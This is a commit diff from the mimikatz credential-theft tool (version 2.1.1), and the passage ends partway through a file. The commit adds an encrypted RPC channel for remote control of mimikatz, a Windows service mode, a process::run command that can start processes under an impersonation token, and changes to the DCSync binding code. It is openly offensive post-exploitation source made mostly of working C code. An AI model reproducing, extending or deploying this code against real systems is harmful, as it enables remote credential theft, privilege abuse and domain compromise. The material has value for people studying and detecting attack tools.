mimikatz 2.1.1 (rpc/service/process)

[new] RPC support (client & server, multi users) [new] Windows service support [new] token::elevate can run process with impersonate token (when enough privileges and without interactions) [new] process::run [new] standard::hostname
2025-02-22 20:56:48 +00:00 · 2017-03-19 17:03:54 +02:00 · 2017-03-19 17:03:54 +02:00 · b4f96ccb6c
commit b4f96ccb6c
parent 114c257679
45 changed files with 3391 additions and 7940 deletions
--- a/inc/WtsApi32.h
+++ b/inc/WtsApi32.h
--- a/inc/globals.h
+++ b/inc/globals.h
@ -29,7 +29,7 @@
 #endif

 #define MIMIKATZ				L"mimikatz"
-#define MIMIKATZ_VERSION		L"2.1"
+#define MIMIKATZ_VERSION		L"2.1.1"
 #define MIMIKATZ_CODENAME		L"A La Vie, A L\'Amour"
 #define MIMIKATZ_FULL			MIMIKATZ L" " MIMIKATZ_VERSION L" (" MIMIKATZ_ARCH L") built on " TEXT(__DATE__) L" " TEXT(__TIME__)
 #define MIMIKATZ_SECOND			L"\"" MIMIKATZ_CODENAME L"\""
@ -37,6 +37,7 @@
 #define MIMIKATZ_DEFAULT_LOG	MIMIKATZ L".log"
 #define MIMIKATZ_DRIVER			L"mimidrv"
 #define MIMIKATZ_KERBEROS_EXT	L"kirbi"
+#define MIMIKATZ_SERVICE		MIMIKATZ L"svc"

 #ifdef _WINDLL
 	#define MIMIKATZ_AUTO_COMMAND_START		0
--- a/lib/Win32/winsta.lib
+++ b/lib/Win32/winsta.lib
--- a/lib/x64/winsta.lib
+++ b/lib/x64/winsta.lib
--- a/mimicom.idl
+++ b/mimicom.idl
@ -0,0 +1,71 @@
+import "ms-dtyp.idl";
+[
+   uuid(17FC11E9-C258-4B8D-8D07-2F4125156244),
+   version(1.0)
+]
+interface MimiCom
+{
+	typedef [context_handle] void* MIMI_HANDLE;
+
+	typedef unsigned int ALG_ID;
+	typedef struct _MIMI_PUBLICKEY {
+		ALG_ID sessionType;
+		DWORD cbPublicKey;
+		[size_is(cbPublicKey)] BYTE *pbPublicKey;
+	} MIMI_PUBLICKEY, *PMIMI_PUBLICKEY;
+		
+	NTSTATUS MimiBind(
+		[in] handle_t rpc_handle,
+		[in, ref] PMIMI_PUBLICKEY clientPublicKey,
+		[out, ref] PMIMI_PUBLICKEY serverPublicKey,
+		[out, ref] MIMI_HANDLE *phMimi
+	);
+	
+	NTSTATUS MiniUnbind(
+		[in, out, ref] MIMI_HANDLE *phMimi
+	);
+
+	NTSTATUS MimiCommand(
+		[in, ref] MIMI_HANDLE phMimi,
+		[in] DWORD szEncCommand,
+		[in, size_is(szEncCommand), unique] BYTE *encCommand,
+		[out, ref] DWORD *szEncResult,
+		[out, size_is(, *szEncResult)] BYTE **encResult
+	);
+}
+
+// Privacy of RPC exchange can be ~guaranteed by protocol, *except when not using authentication*
+// mimikatz try to avoid clear credentials on the network by using basic encryption at application level.
+//
+// Diffie-Hellman key exchange
+// ===========================
+//
+// > Parameters used: Second Oakley Group ( https://tools.ietf.org/html/rfc2409#section-6.2 )
+// 
+// * ALG_ID sessionType
+//   session key type to use after DH exchange, it can be: CALG_CYLINK_MEK(0x660c), CALG_RC2(0x6602), CALG_RC4(0x6801), CALG_DES(0x6601), CALG_3DES_112(0x6609) or CALG_3DES(0x6603)
+//   see: https://msdn.microsoft.com/library/windows/desktop/bb394802.aspx and https://msdn.microsoft.com/library/windows/desktop/aa375549.aspx
+//
+// * DWORD cbPublicKey
+//   size of pbPublicKey: 144 (sizeof(PUBLICKEYSTRUC) + sizeof(DHPUBKEY) + sizeof(1024bits key)
+//
+// * BYTE *pbPublicKey
+//   PUBLICKEYBLOB structure of the DH key ( https://msdn.microsoft.com/en-us/library/windows/desktop/aa381970(v=vs.85).aspx#code-snippet-1 )
+//
+//   Example:
+//   --------
+//   06 02 00 00	PUBLICKEYBLOB (06), CUR_BLOB_VERSION (02), reserved (00 00)
+//   02 aa 00 00	ALG_ID: CALG_DH_EPHEM(0xaa02)
+//
+//   00 44 48 31	Magic : \0DH1
+//   00 04 00 00	1024bits (128bytes bellow)
+//   a9 90 e8 86 59 2d 88 a7 32 e1 05 35 26 24 d9 fd
+//   ae f5 53 46 ca a4 79 cc a9 a3 57 45 e8 54 e7 fd
+//   fe 99 24 df 71 6a 44 2c f7 0a 09 ac e4 e6 44 f8
+//   4c 51 63 c3 86 1e 14 4a 9a f0 e0 a9 e0 38 26 72
+//   75 27 cb 60 9f 0d 15 2c 37 39 a0 b0 72 b6 14 85
+//   5f 18 7f c0 0d 26 d1 3b 6f 14 c1 99 22 8f 74 ef
+//   68 0c 24 bb 77 ff b3 c5 9e ed ff 76 71 c1 ee ce
+//   eb 77 46 00 52 d8 4c 5c bc af fd 28 3d 76 83 b3
+//
+// > Don't forget you may need to reverse some key bytearrays from Windows point of view, and to reset session key state between calls ;)
--- a/mimikatz.sln
+++ b/mimikatz.sln
@ -6,6 +6,7 @@ EndProject
 Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "global files", "global files", "{1ADABD33-DEBE-4095-8EAE-9B6ED51DB68E}"
 	ProjectSection(SolutionItems) = preProject
 		kiwi_passwords.yar = kiwi_passwords.yar
+		mimicom.idl = mimicom.idl
 		README.md = README.md
 	EndProjectSection
 EndProject
@ -24,6 +25,7 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "inc", "inc", "{282B4B77-BFF
 		inc\WinBer.h = inc\WinBer.h
 		inc\wincred.h = inc\wincred.h
 		inc\Winldap.h = inc\Winldap.h
+		inc\WtsApi32.h = inc\WtsApi32.h
 	EndProjectSection
 EndProject
 Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "lib", "lib", "{294B51F3-90EF-4F0A-BB04-20321A513A4F}"
@ -37,6 +39,7 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Win32", "Win32", "{96078881
 		lib\Win32\netapi32.min.lib = lib\Win32\netapi32.min.lib
 		lib\Win32\ntdll.min.lib = lib\Win32\ntdll.min.lib
 		lib\Win32\samlib.lib = lib\Win32\samlib.lib
+		lib\Win32\winsta.lib = lib\Win32\winsta.lib
 	EndProjectSection
 EndProject
 Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "x64", "x64", "{E9D1619F-D4A1-4AFA-B261-B01091EB8D56}"
@ -48,6 +51,7 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "x64", "x64", "{E9D1619F-D4A
 		lib\x64\netapi32.min.lib = lib\x64\netapi32.min.lib
 		lib\x64\ntdll.min.lib = lib\x64\ntdll.min.lib
 		lib\x64\samlib.lib = lib\x64\samlib.lib
+		lib\x64\winsta.lib = lib\x64\winsta.lib
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mimilib", "mimilib\mimilib.vcxproj", "{E049487C-C5BD-471E-99AE-C756E70B6520}"
--- a/mimikatz/mimikatz.c
+++ b/mimikatz/mimikatz.c
@ -28,6 +28,7 @@ const KUHL_M * mimikatz_modules[] = {
 	&kuhl_m_sysenv,
 	&kuhl_m_sid,
 	&kuhl_m_iis,
+	&kuhl_m_rpc,
 };

 int wmain(int argc, wchar_t * argv[])
@ -37,19 +38,8 @@ int wmain(int argc, wchar_t * argv[])
 #ifndef _WINDLL
 	size_t len;
 	wchar_t input[0xffff];
-	kull_m_output_init();
-	SetConsoleTitle(MIMIKATZ L" " MIMIKATZ_VERSION L" " MIMIKATZ_ARCH L" (oe.eo)");
-	SetConsoleCtrlHandler(HandlerRoutine, TRUE);
 #endif
-	kprintf(L"\n"
-		L"  .#####.   " MIMIKATZ_FULL L"\n"
-		L" .## ^ ##.  " MIMIKATZ_SECOND L"\n"
-		L" ## / \\ ##  /* * *\n"
-		L" ## \\ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n"
-		L" '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)\n"
-		L"  '#####'    " MIMIKATZ_SPECIAL L" with %2u modules * * */\n", ARRAYSIZE(mimikatz_modules));
-
-	mimikatz_initOrClean(TRUE);
+	mimikatz_begin();
 	for(i = MIMIKATZ_AUTO_COMMAND_START ; (i < argc) && (status != STATUS_FATAL_APP_EXIT) ; i++)
 	{
 		kprintf(L"\n" MIMIKATZ L"(" MIMIKATZ_AUTO_COMMAND_STRING L") # %s\n", argv[i]);
@ -68,12 +58,35 @@ int wmain(int argc, wchar_t * argv[])
 		}
 	}
 #endif
+	mimikatz_end();
+	return STATUS_SUCCESS;
+}
+
+void mimikatz_begin()
+{
+	kull_m_output_init();
+#ifndef _WINDLL
+	SetConsoleTitle(MIMIKATZ L" " MIMIKATZ_VERSION L" " MIMIKATZ_ARCH L" (oe.eo)");
+	SetConsoleCtrlHandler(HandlerRoutine, TRUE);
+#endif
+	kprintf(L"\n"
+		L"  .#####.   " MIMIKATZ_FULL L"\n"
+		L" .## ^ ##.  " MIMIKATZ_SECOND L"\n"
+		L" ## / \\ ##  /* * *\n"
+		L" ## \\ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n"
+		L" '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)\n"
+		L"  '#####'    " MIMIKATZ_SPECIAL L" with %2u modules * * */\n", ARRAYSIZE(mimikatz_modules));
+	mimikatz_initOrClean(TRUE);
+}
+
+void mimikatz_end()
+{
 	mimikatz_initOrClean(FALSE);
 #ifndef _WINDLL
 	SetConsoleCtrlHandler(HandlerRoutine, FALSE);
-	kull_m_output_clean();
 #endif
-	return STATUS_SUCCESS;
+	kull_m_output_clean();
+	ExitProcess(STATUS_SUCCESS);
 }

 BOOL WINAPI HandlerRoutine(DWORD dwCtrlType)
@ -133,6 +146,9 @@ NTSTATUS mimikatz_dispatchCommand(wchar_t * input)
 		case L'!':
 			status = kuhl_m_kernel_do(full + 1);
 			break;
+		case L'*':
+			status = kuhl_m_rpc_do(full + 1);
+			break;
 		default:
 			status = mimikatz_doLocal(full);
 		}
@ -220,7 +236,7 @@ __declspec(dllexport) wchar_t * powershell_reflective_mimikatz(LPCWSTR input)
 	{
 		outputBufferElements = 0xff;
 		outputBufferElementsPosition = 0;
-		if(outputBuffer = (wchar_t *) LocalAlloc(LPTR, outputBufferElements))
+		if(outputBuffer = (wchar_t *) LocalAlloc(LPTR, outputBufferElements * sizeof(wchar_t)))
 			wmain(argc, argv);
 		LocalFree(argv);
 	}
--- a/mimikatz/mimikatz.h
+++ b/mimikatz/mimikatz.h
@ -29,6 +29,7 @@
 #include "modules/kuhl_m_sysenvvalue.h"
 #include "modules/kuhl_m_sid.h"
 #include "modules/kuhl_m_iis.h"
+#include "modules/kuhl_m_rpc.h"

 #include <io.h>
 #include <fcntl.h>
@ -36,6 +37,8 @@
 extern VOID WINAPI RtlGetNtVersionNumbers(LPDWORD pMajor, LPDWORD pMinor, LPDWORD pBuild);

 int wmain(int argc, wchar_t * argv[]);
+void mimikatz_begin();
+void mimikatz_end();

 BOOL WINAPI HandlerRoutine(DWORD dwCtrlType);

--- a/mimikatz/mimikatz.rc
+++ b/mimikatz/mimikatz.rc
@ -3,8 +3,8 @@ LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US

 VS_VERSION_INFO VERSIONINFO

-FILEVERSION			2,1,0,0
-PRODUCTVERSION		2,1,0,0
+FILEVERSION			2,1,1,0
+PRODUCTVERSION		2,1,1,0
 FILEFLAGS			VS_FF_PRERELEASE|VS_FF_SPECIALBUILD|VS_FF_PRIVATEBUILD
 FILEFLAGSMASK		VS_FFI_FILEFLAGSMASK
 FILEOS				VOS_NT
@ -16,10 +16,10 @@ BLOCK "StringFileInfo"
 		BLOCK "040904b0"
 		BEGIN
 			VALUE "ProductName", "mimikatz"
-			VALUE "ProductVersion", "2.1.0.0"
+			VALUE "ProductVersion", "2.1.1.0"
 			VALUE "CompanyName", "gentilkiwi (Benjamin DELPY)"
 			VALUE "FileDescription", "mimikatz for Windows"
-			VALUE "FileVersion", "2.1.0.0"
+			VALUE "FileVersion", "2.1.1.0"
 			VALUE "InternalName", "mimikatz"
 			VALUE "LegalCopyright", "Copyright (c) 2007 - 2017 gentilkiwi (Benjamin DELPY)"
 			VALUE "OriginalFilename", "mimikatz.exe"
--- a/mimikatz/mimikatz.vcxproj
+++ b/mimikatz/mimikatz.vcxproj
@ -38,6 +38,7 @@
    <PlatformToolset Condition="'$(VCTargetsPath11)' != ''">v110_xp</PlatformToolset>
    <PlatformToolset Condition="'$(VCTargetsPath12)' != ''">v120_xp</PlatformToolset>
    <PlatformToolset Condition="'$(VCTargetsPath14)' != ''">v140_xp</PlatformToolset>
+    <PlatformToolset Condition="'$(VCTargetsPath15)' != ''">v141_xp</PlatformToolset>
    <UseOfMfc>static</UseOfMfc>
  </PropertyGroup>
  <PropertyGroup Label="Configuration" Condition="Exists('$(VCTargetsPath)\Platforms\$(Platform)\PlatformToolsets\ddk2003') Or Exists('$(VCTargetsPath)\..\Platforms\$(Platform)\PlatformToolsets\ddk2003')">
@ -78,7 +79,7 @@
      <GenerateDebugInformation>false</GenerateDebugInformation>
      <EnableCOMDATFolding>true</EnableCOMDATFolding>
      <OptimizeReferences>true</OptimizeReferences>
-      <AdditionalDependencies>advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;winscard.lib;wldap32.lib;advapi32.hash.lib;msasn1.min.lib;ntdll.min.lib;netapi32.min.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <AdditionalDependencies>advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;userenv.lib;hid.lib;setupapi.lib;winscard.lib;winsta.lib;wldap32.lib;wtsapi32.lib;advapi32.hash.lib;msasn1.min.lib;ntdll.min.lib;netapi32.min.lib;%(AdditionalDependencies)</AdditionalDependencies>
      <AssemblyDebug>false</AssemblyDebug>
      <DataExecutionPrevention>true</DataExecutionPrevention>
      <LinkErrorReporting>NoErrorReport</LinkErrorReporting>
@ -110,6 +111,7 @@
    <ClCompile Include="..\modules\rpc\kull_m_rpc_bkrp.c" />
    <ClCompile Include="..\modules\rpc\kull_m_rpc_dpapi-entries.c" />
    <ClCompile Include="..\modules\rpc\kull_m_rpc_drsr.c" />
+    <ClCompile Include="..\modules\rpc\kull_m_rpc_mimicom.c" />
    <ClCompile Include="..\modules\rpc\kull_m_rpc_ms-bkrp_c.c" />
    <ClCompile Include="..\modules\rpc\kull_m_rpc_ms-claims.c" />
    <ClCompile Include="..\modules\rpc\kull_m_rpc_ms-credentialkeys.c" />
@ -147,6 +149,7 @@
    <ClCompile Include="modules\kuhl_m_net.c" />
    <ClCompile Include="modules\kuhl_m_privilege.c" />
    <ClCompile Include="modules\kuhl_m_process.c" />
+    <ClCompile Include="modules\kuhl_m_rpc.c" />
    <ClCompile Include="modules\kuhl_m_service.c" />
    <ClCompile Include="modules\kuhl_m_service_remote.c" />
    <ClCompile Include="modules\kuhl_m_sid.c" />
@ -195,6 +198,7 @@
    <ClInclude Include="..\modules\rpc\kull_m_rpc_bkrp.h" />
    <ClInclude Include="..\modules\rpc\kull_m_rpc_dpapi-entries.h" />
    <ClInclude Include="..\modules\rpc\kull_m_rpc_drsr.h" />
+    <ClInclude Include="..\modules\rpc\kull_m_rpc_mimicom.h" />
    <ClInclude Include="..\modules\rpc\kull_m_rpc_ms-claims.h" />
    <ClInclude Include="..\modules\rpc\kull_m_rpc_ms-credentialkeys.h" />
    <ClInclude Include="..\modules\rpc\kull_m_rpc_ms-drsr.h" />
@ -230,6 +234,7 @@
    <ClInclude Include="modules\kuhl_m_net.h" />
    <ClInclude Include="modules\kuhl_m_privilege.h" />
    <ClInclude Include="modules\kuhl_m_process.h" />
+    <ClInclude Include="modules\kuhl_m_rpc.h" />
    <ClInclude Include="modules\kuhl_m_service.h" />
    <ClInclude Include="modules\kuhl_m_service_remote.h" />
    <ClInclude Include="modules\kuhl_m_sid.h" />
--- a/mimikatz/mimikatz.vcxproj.filters
+++ b/mimikatz/mimikatz.vcxproj.filters
@ -227,6 +227,12 @@
    <ClCompile Include="modules\kerberos\kuhl_m_kerberos_claims.c">
      <Filter>local modules\kerberos</Filter>
    </ClCompile>
+    <ClCompile Include="modules\kuhl_m_rpc.c">
+      <Filter>local modules</Filter>
+    </ClCompile>
+    <ClCompile Include="..\modules\rpc\kull_m_rpc_mimicom.c">
+      <Filter>common modules\rpc</Filter>
+    </ClCompile>
  </ItemGroup>
  <ItemGroup>
    <ClInclude Include="mimikatz.h" />
@ -473,6 +479,12 @@
    <ClInclude Include="modules\kerberos\kuhl_m_kerberos_claims.h">
      <Filter>local modules\kerberos</Filter>
    </ClInclude>
+    <ClInclude Include="modules\kuhl_m_rpc.h">
+      <Filter>local modules</Filter>
+    </ClInclude>
+    <ClInclude Include="..\modules\rpc\kull_m_rpc_mimicom.h">
+      <Filter>common modules\rpc</Filter>
+    </ClInclude>
  </ItemGroup>
  <ItemGroup>
    <Filter Include="local modules">
--- a/mimikatz/modules/kuhl_m_crypto.c
+++ b/mimikatz/modules/kuhl_m_crypto.c
@ -18,7 +18,7 @@ const KUHL_M_C kuhl_m_c_crypto[] = {
 	{kuhl_m_crypto_hash,			L"hash",			L"Hash a password with optional username"},
 	{kuhl_m_crypto_system,			L"system",			L"Describe a Windows System Certificate (file, TODO:registry or hive)"},
 	{kuhl_m_crypto_c_sc_auth,		L"scauth",			L"Create a authentication certitifate (smartcard like) from a CA"},
-	{kuhl_m_crypto_c_cert_to_hw,	L"certtohw",			L"Try to export a software CA to a crypto (virtual)hardware"},
+	{kuhl_m_crypto_c_cert_to_hw,	L"certtohw",		L"Try to export a software CA to a crypto (virtual)hardware"},

 	{kuhl_m_crypto_p_capi,			L"capi",			L"[experimental] Patch CryptoAPI layer for easy export"},
 	{kuhl_m_crypto_p_cng,			L"cng",				L"[experimental] Patch CNG service for easy export"},
--- a/mimikatz/modules/kuhl_m_lsadump.c
+++ b/mimikatz/modules/kuhl_m_lsadump.c
@ -1723,7 +1723,7 @@ NTSTATUS kuhl_m_lsadump_dcsync(int argc, wchar_t * argv[])
 					kprintf(L"[DC] \'%s\' will be the user account\n", szUser);

 				kull_m_string_args_byName(argc, argv, L"altservice", &szService, L"ldap");
-				if(kull_m_rpc_createBinding(L"ncacn_ip_tcp", szDc, NULL, szService, RPC_C_IMP_LEVEL_DEFAULT, &hBinding, kull_m_rpc_drsr_RpcSecurityCallback))
+				if(kull_m_rpc_createBinding(NULL, L"ncacn_ip_tcp", szDc, NULL, szService, TRUE, (MIMIKATZ_NT_MAJOR_VERSION < 6) ? RPC_C_AUTHN_GSS_KERBEROS : RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_IMP_LEVEL_DEFAULT, &hBinding, kull_m_rpc_drsr_RpcSecurityCallback))
 				{
 					if(kull_m_rpc_drsr_getDomainAndUserInfos(&hBinding, szDc, szDomain, &getChReq.V8.uuidDsaObjDest, szUser, szGuid, &dsName.Guid, &DrsExtensionsInt))
 					{
--- a/mimikatz/modules/kuhl_m_process.c
+++ b/mimikatz/modules/kuhl_m_process.c
@ -13,6 +13,7 @@ const KUHL_M_C kuhl_m_c_process[] = {
 	{kuhl_m_process_stop,		L"stop",		L"Terminate a process"},
 	{kuhl_m_process_suspend,	L"suspend",		L"Suspend a process"},
 	{kuhl_m_process_resume,		L"resume",		L"Resume a process"},
+	{kuhl_m_process_run,		L"run",			L"Run!"},
 };

 const KUHL_M kuhl_m_process = {
@ -212,4 +213,63 @@ BOOL CALLBACK kuhl_m_process_imports_callback_module_importedEntry(PKULL_M_PROCE
 	else
 		kprintf(L"#%u", pImportedEntryInformations->ordinal);
 	return TRUE;
+}
+
+BOOL kull_m_process_run_data(LPCWSTR commandLine, HANDLE hToken)
+{
+	BOOL status = FALSE;
+	SECURITY_ATTRIBUTES saAttr = {sizeof(SECURITY_ATTRIBUTES), NULL, TRUE};
+	STARTUPINFO si = {0};
+	PROCESS_INFORMATION pi = {0};
+	HANDLE hOut = NULL;
+	PWSTR dupCommandLine = NULL;
+	BYTE chBuf[4096];
+	DWORD dwRead, i;
+	LPVOID env = NULL;
+
+	if(dupCommandLine = _wcsdup(commandLine))
+	{
+		if(CreatePipe(&hOut, &si.hStdOutput, &saAttr, 0))
+		{
+			SetHandleInformation(hOut, HANDLE_FLAG_INHERIT, 0);
+			si.cb = sizeof(STARTUPINFO);
+			si.hStdError = si.hStdOutput;
+			si.dwFlags |= STARTF_USESTDHANDLES;
+			if(!hToken || CreateEnvironmentBlock(&env, hToken, FALSE))
+			{
+				if(status = CreateProcessAsUser(hToken, NULL, dupCommandLine, NULL, NULL, TRUE, CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, env, NULL, &si, &pi))
+				{
+					CloseHandle(si.hStdOutput);
+					si.hStdOutput = si.hStdError = NULL;
+					while(ReadFile(hOut, chBuf, sizeof(chBuf), &dwRead, NULL) && dwRead)
+						for(i = 0; i < dwRead; i++)
+							kprintf(L"%c", chBuf[i]);
+					WaitForSingleObject(pi.hProcess, INFINITE);
+					CloseHandle(pi.hThread);
+					CloseHandle(pi.hProcess);
+				}
+				else PRINT_ERROR_AUTO(L"CreateProcessAsUser");
+				if(env)
+					DestroyEnvironmentBlock(env);
+			}
+			else PRINT_ERROR_AUTO(L"CreateEnvironmentBlock");
+			CloseHandle(hOut);
+			if(si.hStdOutput)
+				CloseHandle(si.hStdOutput);
+		}
+		free(dupCommandLine);
+	}
+	return status;
+}
+
+NTSTATUS kuhl_m_process_run(int argc, wchar_t * argv[])
+{
+	PCWCHAR commandLine;
+	if(argc)
+	{
+		commandLine = argv[argc - 1];
+		kprintf(L"Trying to start \"%s\"...\n", commandLine);
+		kull_m_process_run_data(commandLine, NULL);
+	}
+	return STATUS_SUCCESS;
 }
--- a/mimikatz/modules/kuhl_m_process.h
+++ b/mimikatz/modules/kuhl_m_process.h
@ -34,4 +34,7 @@ BOOL CALLBACK kuhl_m_process_imports_callback_module_importedEntry(PKULL_M_PROCE
 NTSTATUS kuhl_m_process_start(int argc, wchar_t * argv[]);
 NTSTATUS kuhl_m_process_stop(int argc, wchar_t * argv[]);
 NTSTATUS kuhl_m_process_suspend(int argc, wchar_t * argv[]);
-NTSTATUS kuhl_m_process_resume(int argc, wchar_t * argv[]);
+NTSTATUS kuhl_m_process_resume(int argc, wchar_t * argv[]);
+
+BOOL kull_m_process_run_data(LPCWSTR commandLine, HANDLE hToken);
+NTSTATUS kuhl_m_process_run(int argc, wchar_t * argv[]);
--- a/mimikatz/modules/kuhl_m_rpc.c
+++ b/mimikatz/modules/kuhl_m_rpc.c
@ -0,0 +1,465 @@
+/*	Benjamin DELPY `gentilkiwi`
+http://blog.gentilkiwi.com
+benjamin@gentilkiwi.com
+Licence : https://creativecommons.org/licenses/by/4.0/
+*/
+#include "kuhl_m_rpc.h"
+
+RPC_BINDING_HANDLE hBinding;
+CRITICAL_SECTION outputCritical;
+BOOL isFinish;
+MIMI_HANDLE hMimi;
+PKIWI_DH clientKey;
+
+const KUHL_M_C kuhl_m_c_rpc[] = {
+	{kuhl_m_rpc_server,	L"server",	NULL},
+	{kuhl_m_rpc_connect,L"connect",	NULL},
+	{kuhl_m_rpc_close,	L"close",	NULL},
+	{kuhl_m_rpc_enum,	L"enum",	NULL},
+};
+const KUHL_M kuhl_m_rpc = {
+	L"rpc",	L"RPC control of " MIMIKATZ,	NULL,
+	ARRAYSIZE(kuhl_m_c_rpc), kuhl_m_c_rpc, kuhl_m_c_rpc_init, kuhl_m_c_rpc_clean
+};
+
+NTSTATUS kuhl_m_c_rpc_init()
+{
+	hMimi = NULL;
+	hBinding = NULL;
+	clientKey = NULL;
+	isFinish = FALSE;
+	InitializeCriticalSection(&outputCritical);
+	return STATUS_SUCCESS;
+}
+
+NTSTATUS kuhl_m_c_rpc_clean()
+{
+	DeleteCriticalSection(&outputCritical);
+	kuhl_m_rpc_close(0, NULL);
+	RpcMgmtStopServerListening(NULL);
+	return STATUS_SUCCESS;
+}
+
+NTSTATUS kuhl_m_rpc_do(wchar_t * input)
+{
+	NTSTATUS status;
+	PBYTE encCommand, encResult = NULL, clearResult;
+	DWORD rpcExc, i, szInput = (lstrlen(input) + 1) * sizeof(wchar_t), szEncCommand, szEncResult = 0, szClearResult;
+
+	if(hBinding && hMimi)
+	{
+		if(kull_m_crypto_dh_simpleEncrypt(clientKey->hSessionKey, input, szInput, (LPVOID *) &encCommand, &szEncCommand))
+		{
+			RpcTryExcept
+			{
+				status = CLI_MimiCommand(hMimi, szEncCommand, encCommand, &szEncResult, &encResult);
+				if(szEncResult && encResult)
+				{
+					if(kull_m_crypto_dh_simpleDecrypt(clientKey->hSessionKey, encResult, szEncResult, (LPVOID *) &clearResult, &szClearResult))
+					{
+						for(i = 0; (i < (szClearResult / sizeof(wchar_t))) && ((wchar_t *) clearResult)[i]; i++)
+							kprintf(L"%c", ((wchar_t *) clearResult)[i]);
+					}
+					else PRINT_ERROR_AUTO(L"kuhl_m_rpc_simpleDecrypt");
+					midl_user_free(encResult);
+				}
+			}
+			RpcExcept(RPC_EXCEPTION)
+			{
+				rpcExc = RpcExceptionCode();
+				if(rpcExc == RPC_S_SEC_PKG_ERROR)
+					PRINT_ERROR(L"A security package specific error occurred (Kerberos mutual auth not available?)\n");
+				else if(rpcExc == RPC_S_UNKNOWN_AUTHN_SERVICE)
+					PRINT_ERROR(L"The authentication service is unknown\n");
+				else if(rpcExc == RPC_S_SERVER_UNAVAILABLE)
+					PRINT_ERROR(L"RPC Server unavailable!\n");
+				else PRINT_ERROR(L"RPC Exception: 0x%08x (%u)\n", rpcExc, rpcExc);
+				kull_m_rpc_deleteBinding(&hBinding);
+			}
+			RpcEndExcept
+		}
+		else PRINT_ERROR_AUTO(L"kull_m_crypto_dh_simpleEncrypt");
+	}
+	else PRINT_ERROR(L"No RPC_BINDING_HANDLE (connect first?)\n");
+	return STATUS_SUCCESS;
+}
+
+NTSTATUS kuhl_m_rpc_close(int argc, wchar_t * argv[])
+{
+	DWORD rpcExc;
+	if(hMimi)
+	{
+		RpcTryExcept
+		{
+			CLI_MiniUnbind(&hMimi);
+		}
+		RpcExcept(RPC_EXCEPTION)
+		{
+			rpcExc = RpcExceptionCode();
+			if(rpcExc == RPC_S_SEC_PKG_ERROR)
+				PRINT_ERROR(L"A security package specific error occurred (Kerberos mutual auth not available?)\n");
+			else if(rpcExc == RPC_S_UNKNOWN_AUTHN_SERVICE)
+				PRINT_ERROR(L"The authentication service is unknown\n");
+			else if(rpcExc == RPC_S_SERVER_UNAVAILABLE)
+				PRINT_ERROR(L"RPC Server unavailable!\n");
+			else PRINT_ERROR(L"RPC Exception: 0x%08x (%u)\n", rpcExc, rpcExc);
+			kull_m_rpc_deleteBinding(&hBinding);
+		}
+		RpcEndExcept
+		hMimi = NULL;
+	}
+	if(hBinding)
+		kull_m_rpc_deleteBinding(&hBinding);
+	//else PRINT_ERROR(L"No RPC_BINDING_HANDLE (connect first?)\n");
+	if(clientKey)
+	{
+		kull_m_crypto_dh_Delete(clientKey);
+		clientKey = NULL;
+	}
+	return STATUS_SUCCESS;
+}
+
+NTSTATUS kuhl_m_rpc_enum(int argc, wchar_t * argv[])
+{
+	RPC_STATUS status, enumStatus;
+	RPC_BINDING_HANDLE Binding, EnumBinding;
+	RPC_EP_INQ_HANDLE InquiryContext;
+	RPC_IF_ID IfId;
+	RPC_WSTR Annotation, bindString;
+	UUID prev = {0};
+	BOOL sameId, avoidMsBugWasHere = FALSE;
+	PCWSTR szRemote, szProtSeq;
+	DWORD AuthnSvc;
+	
+	kull_m_rpc_getArgs(argc, argv, &szRemote, &szProtSeq, NULL, NULL, &AuthnSvc, RPC_C_AUTHN_GSS_NEGOTIATE, TRUE);
+	if(kull_m_rpc_createBinding(NULL, szProtSeq, szRemote, NULL, NULL, FALSE, AuthnSvc, RPC_C_IMP_LEVEL_DEFAULT, &Binding, NULL))
+	{
+		status = RpcMgmtEpEltInqBegin(Binding, RPC_C_EP_ALL_ELTS, NULL, 0, NULL, &InquiryContext);
+		if(status == RPC_S_OK)
+		{
+			do
+			{
+				enumStatus = RpcMgmtEpEltInqNext(InquiryContext, &IfId, &EnumBinding, NULL, &Annotation);
+				if(enumStatus == RPC_S_OK)
+				{
+					avoidMsBugWasHere = TRUE;
+					sameId = RtlEqualGuid(&IfId.Uuid, &prev);
+					if(!sameId)
+					{
+						kprintf(L"UUID: ");
+						kull_m_string_displayGUID(&IfId.Uuid);
+						if(Annotation)
+						{
+							kprintf(L"\t%s", Annotation);
+							RpcStringFree(&Annotation);
+						}
+						kprintf(L"\n");
+						prev = IfId.Uuid;
+					}
+					if(EnumBinding)
+					{
+						status = RpcBindingToStringBinding(EnumBinding, &bindString);
+						if(status == RPC_S_OK)
+						{
+							kprintf(L"\t%s\n", bindString);
+							RpcStringFree(&bindString);
+						}
+						else PRINT_ERROR(L"RpcBindingToStringBinding: %08x\n", status);
+						RpcBindingFree(&EnumBinding);
+					}
+				}
+			} while(enumStatus == RPC_S_OK);
+
+			if(!avoidMsBugWasHere && (enumStatus == RPC_X_NO_MORE_ENTRIES))
+				PRINT_ERROR(L"RpcMgmtEpEltInqNext: %08x, maybe really no EP, maybe network problem\n", enumStatus);
+			else if(enumStatus != RPC_X_NO_MORE_ENTRIES)
